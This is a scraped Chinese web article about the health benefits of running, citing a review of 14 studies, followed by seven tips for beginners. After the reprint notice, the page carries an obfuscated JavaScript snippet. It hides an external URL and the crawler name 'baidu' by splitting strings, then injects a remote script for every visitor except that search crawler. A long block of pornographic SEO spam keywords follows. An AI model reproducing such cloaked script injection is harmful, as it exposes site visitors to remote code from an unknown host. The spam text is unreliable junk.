當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

跑步更多并不一定更好 跑步初學(xué)者的7個(gè)竅門(mén)

2019-11-25 19:38:21  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):跑步是免費(fèi)的,不需要任何設(shè)備,沿途的風(fēng)景也很迷人,因此,跑步是世界上最受歡迎的運(yùn)動(dòng)之一。研究人員發(fā)現(xiàn),跑步能夠顯著改善機(jī)體健康并降

跑步是免費(fèi)的,不需要任何設(shè)備,沿途的風(fēng)景也很迷人,因此,跑步是世界上最受歡迎的運(yùn)動(dòng)之一。研究人員發(fā)現(xiàn),跑步能夠顯著改善機(jī)體健康并降低未來(lái)個(gè)體的死亡風(fēng)險(xiǎn),而且人們不必跑得很快或者很遠(yuǎn)都能獲得一定的健康益處。下面跟隨360常識(shí)網(wǎng)了解一下吧!

跑步更多并不一定更好 跑步初學(xué)者的7個(gè)竅門(mén)

研究表明,跑步能夠幫助降低人群多種疾病的風(fēng)險(xiǎn),比如肥胖、高血壓、高膽固醇、2型糖尿病、心臟病和癌癥等;其還能提高機(jī)體的有氧耐力、心臟功能、機(jī)體平衡和新陳代謝等,這些是機(jī)體整體健康的重要組成部分,因此我們有理由認(rèn)為,跑步能夠有效延長(zhǎng)機(jī)體壽命,但這或許與此前的研究證據(jù)并不一致。

研究人員在一篇綜述中總結(jié)了14項(xiàng)關(guān)于跑步或慢跑與全因、心臟病和癌癥引發(fā)的死亡風(fēng)險(xiǎn)之間關(guān)聯(lián)的獨(dú)立研究的結(jié)果,研究者共匯總了23萬(wàn)多名參與者,其中10%的人群為跑步者,同時(shí)研究對(duì)參與者進(jìn)行了5.5-35年的跟蹤研究,在此期間有25951名參與者發(fā)生了死亡。當(dāng)研究者匯總研究數(shù)據(jù)時(shí),他們發(fā)現(xiàn),在研究期間,跑步者死于任何原因的風(fēng)險(xiǎn)比不跑步的人群低27%,具體來(lái)講,跑步能夠降低30%因心臟病所引發(fā)的死亡風(fēng)險(xiǎn),能降低23%因癌癥死亡的風(fēng)險(xiǎn)。

跑步更多并不一定更好 跑步初學(xué)者的7個(gè)竅門(mén)

更多并不一定更好

研究者發(fā)現(xiàn),每周跑步一次或每周跑步50分鐘就能夠降低個(gè)體在未來(lái)特定時(shí)間點(diǎn)的死亡風(fēng)險(xiǎn),而這種益處似乎并不會(huì)隨著跑步量的增加而增加或減少;這對(duì)那些沒(méi)有太多時(shí)間鍛煉的人來(lái)說(shuō)是個(gè)好消息,但這不應(yīng)該讓那些喜歡跑得更久更頻繁的人氣餒。研究者發(fā)現(xiàn),即使是“鐵桿”跑步(例如,每天或每周4小時(shí))也有益于機(jī)體健康。

高速運(yùn)動(dòng)也不一定會(huì)帶來(lái)好處,研究者發(fā)現(xiàn),以8-13km/h中間的任何速度跑步時(shí)都具有相似的好處,因此,以自身“最舒適的速度”來(lái)跑步可能對(duì)機(jī)體的健康是最好的。

跑步更多并不一定更好 跑步初學(xué)者的7個(gè)竅門(mén)

記?。∵@樣做也有風(fēng)險(xiǎn)

跑步可能會(huì)導(dǎo)致過(guò)度使用傷害,這是由于組織反復(fù)受到機(jī)械應(yīng)力而沒(méi)有足夠的恢復(fù)時(shí)間造成的;有傷害史和較長(zhǎng)的活動(dòng)時(shí)間會(huì)增加過(guò)度使用傷害的風(fēng)險(xiǎn),你可以通過(guò)避免不平整或堅(jiān)硬的表面,穿合適的鞋,盡量不突然增加跑步的速度或時(shí)間來(lái)降低風(fēng)險(xiǎn);運(yùn)動(dòng)中總是有猝死的危險(xiǎn),但這種情況很少發(fā)生。重要的是,研究者發(fā)現(xiàn),跑步的整體好處遠(yuǎn)遠(yuǎn)大于相關(guān)的風(fēng)險(xiǎn),而且較短的持續(xù)時(shí)間和較低的跑步速度將能進(jìn)一步降低風(fēng)險(xiǎn)。

跑步更多并不一定更好 跑步初學(xué)者的7個(gè)竅門(mén)

跑步初學(xué)者的7個(gè)竅門(mén)

如果你初學(xué)跑步,你可能要被許多跑步的知識(shí)信息所淹沒(méi)。這是你開(kāi)始跑步的7個(gè)竅門(mén):

1、準(zhǔn)備一雙正確的跑鞋。

穿一雙正確的跑鞋是舒適和避免受傷的關(guān)鍵。到一個(gè)跑步用品專營(yíng)店找一雙合適你腳型和跑步方式的鞋。還要確保不要過(guò)早穿壞它,一雙鞋應(yīng)該可以被穿著跑300-400英里。

2、確保熱身和放松。

一個(gè)好的熱身標(biāo)志著身體活動(dòng)的迅速開(kāi)始,熱身幫助跑步時(shí)減小心臟壓力,慢慢的提升心率。所以,你應(yīng)該將跑步開(kāi)始于輕快的步行,然后簡(jiǎn)易的慢跑幾分鐘。這樣輕松的開(kāi)始使你的心率和血壓逐漸下降,當(dāng)結(jié)束跑步時(shí)同樣重要的要慢跑或步行5分鐘。

3、學(xué)習(xí)適當(dāng)?shù)纳现问健?/strong>

不適當(dāng)?shù)纳现问綄?dǎo)致手臂、肩膀、頸部和背部的疼痛。努力保持雙手在腰部水平,也要輕刷到臀部,手臂中的肘部應(yīng)該有90度角,保持手的擺動(dòng)姿勢(shì)平直和豎起,抬頭、直背、平腰。

4、不要擔(dān)心步幅。

作為一個(gè)初學(xué)者,你們中多數(shù)人應(yīng)該開(kāi)始于簡(jiǎn)易或伴隨交談的步調(diào)。你應(yīng)該能在容易地呼吸中可以與同伴有一個(gè)語(yǔ)言的交流,不要擔(dān)心每英里的步幅——如果你能通過(guò)“交談測(cè)試”,你就處于正確的速率了。這樣開(kāi)始的簡(jiǎn)易跑步幫助我們防止訓(xùn)練過(guò)度與過(guò)勞受傷。

5、嘗試一種跑步/步行的途徑

大多數(shù)的跑步初學(xué)者著手開(kāi)始一種跑步/步行于技巧,因?yàn)樗麄儧](méi)有耐力或體力面對(duì)長(zhǎng)時(shí)間的跑步。采用跑一小段路就休息一下的方法,你在持續(xù)一個(gè)跑步/步行的練習(xí)時(shí) ,目的就是擴(kuò)大跑步的時(shí)間和減少走路的時(shí)間。

6、不要跑太多也不要跑得時(shí)間太短。

初學(xué)跑步者有時(shí)由于過(guò)多的熱情與焦急太快地提升他們每次鍛煉的英里數(shù)——這樣會(huì)造成受傷。每周不要增加跑步英里數(shù)大于10%,慢慢地增加起來(lái)會(huì)治愈你的鍛煉傷痛和挫敗感,從而達(dá)到鍛煉目的。用一個(gè)平常心,依附一個(gè)初學(xué)者時(shí)間表來(lái)恒量自己的跑步強(qiáng)度。如果你想多鍛煉一些,你可以游泳和騎自行車伴隨著交叉鍛煉。

7、口鼻一起呼吸。

假設(shè)初學(xué)者們跑步只用鼻子呼吸,這時(shí)他們確實(shí)想用口鼻一起呼吸,以便在跑步的時(shí)候?qū)τ诩∪夤┭醭渥?,那么,肚子的深呼吸能幫助避免岔氣,岔氣是一種初學(xué)跑步者的普遍問(wèn)題。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品免费一区二区三区四区| a级国产精品片在线观看| 99精品视频观看| 日韩精品无码一本二本三本| 亚洲精品无码久久久久AV麻豆| 亚洲综合久久精品无码色欲| 少妇人妻偷人精品无码视频新浪| 久久精品国产一区二区电影| 国产精品国三级国产aⅴ| 久久久精品国产免大香伊| 国产精品久久久久国产A级| 国产精品99久久久久久猫咪| 国产精品午夜爆乳美女视频| 中文国产成人精品久久不卡| 中国精品videossex中国高清| 国产精品日韩AV在线播放| 国产午夜精品理论片| 一本久久A久久免费精品不卡 | 少妇人妻精品一区二区三区| 精品人妻少妇一区二区| 四虎成人精品无码永久在线| 97色精品视频在线观看| 国产精品怡红院永久免费| 精品人伦一区二区三区潘金莲| 国产成人久久精品一区二区三区| 国产午夜亚洲精品午夜鲁丝片 | 亚洲a∨无码精品色午夜| 3d动漫精品啪啪一区二区免费| 日本一区精品久久久久影院| 欧洲精品无码一区二区三区在线播放| xxx国产精品视频| 色哟哟国产精品免费观看| 国产精品亚洲va在线观看| 国产精品理论电影| 成人无码精品一区二区三区 | 国产精品国产亚洲精品看不卡| 久久精品国产一区二区三区| 国产精品免费看久久久香蕉| 亚洲情侣偷拍精品| 国产成人精品亚洲精品| 国产精品偷伦视频免费观看了 |